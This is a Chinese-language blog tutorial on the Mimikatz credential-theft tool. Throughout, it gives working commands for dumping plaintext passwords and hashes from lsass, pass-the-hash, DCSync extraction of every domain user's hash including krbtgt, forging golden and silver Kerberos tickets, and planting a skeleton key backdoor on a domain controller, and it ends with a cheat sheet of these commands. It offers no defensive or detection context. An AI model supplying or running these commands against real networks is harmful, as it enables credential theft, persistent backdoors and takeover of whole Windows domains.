赞
踩
项目地址:
https://github.com/gentilkiwi/mimikatz
0x00简介
Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!
0x01常规用法
获取本地帐户密码
(1)以管理员权限运行mimikatz
(2)提升权限 privilege::debug
(3)抓取密码 sekurlsa::logonpasswords
注:当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,还是可以读到hash值。运行命令时要以管理员权限,否则会因权限不够报错。
现在列出域控的C目录,会得到拒绝访问。
Hash传递攻击(PTH)
使用mimikatz传递hash,当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口,在弹出的cmd窗口中有相对应的权限。
Sekurlsa::pth /user:XX /domian:http://xx.com /ntlm:XXXXXXXX
拥有域管权限可以列出所有域用户
Lsadump::dcsync /domain:http://xx.com /all /csv
普通用户在cmd中查看域中的账户名称。
票据传递攻击(PTT)
黄金票据
域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。
首先获取krbtgt的用户hash:
lsadump::dcsync /domain:http://xx.com /user:krbtgt
利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:kerberos::golden/user:XX/domain:http://XX.COM/sid:XXXXXXXXX /krbtgt:XXXXXX /ticket:123.kiribi
文件生成在mimikatz所在的文件夹中。票据可重复导入。
手动导入票据
Kerberos::ptt 123.kilibi
可以直接ptt生成导入,省略手动导入,如果下次导入还要在输入一次命令。
注:在没有票据和hash传递的情况下列出其他账户的C盘目录会被拒绝。
成功导入票据后就可以远程列出其C盘目录。
白银票据
黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密,金票在使用的过程需要和域控通信;
白银票据:伪造 TGS ,只能访问指定的服务,且由服务账号(通常为计算机账户)的 Hash 加密 ,银票在使用的过程不需要同域控通信;
Kerberos::golden /domain:http://xx.com /sid:XXXXXXXXX /target:http://black.red.com /rc4:xxxxxx /service:cifs /user:xxx /ptt
先清空之前存储的票据。
用生成的票据再去列出远程C盘目录。
skeleton key
skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。
在域控中打开mimikatz,输入命令将 Skeleton Key 注入域控制器的 lsass.exe 进程,在输入命令前先用privilege::debug提一下权。
这个时候系统提示 Skeleton Key 已经注入成功,此时会在域内的所有账号中添加一个 Skeleton Key,其密码默认为:“mimikatz”。
接下来就可以使用域内任意用户的身份配合 Skeleton Key 进行域内身份授权验证了。在不使用域管理员原始密码的情况下,使用注入的 Skeleton Key,同样可以成功连接系统。
mimikatz常用命令:
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码
kerberos::list //列出存储票据
kerberos::purge //清空存储票据
kerberos::ptt XX.XX //导入票据
lsadump::dcsync /domain:http://test.com /all /csv //获取所有域用户
lsadump::dcsync /domain:http://test.com /user:test //指定获取某个用户的hash
lsadump::dcsync /domain:http://xx.com /user:krbtgt //获取krbtgt的用户hash
misc::skeleton //添加万能密钥
参考链接:
https://0x00sec.org/t/playing-with-hashes-and-tickets/26604https://www.cnblogs.com/-mo-/p/11890232.html
https://www.bilibili.com/read/cv7397057/
https://www.freebuf.com/articles/system/234365.html
https://www.cnblogs.com/gendan5/p/1
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。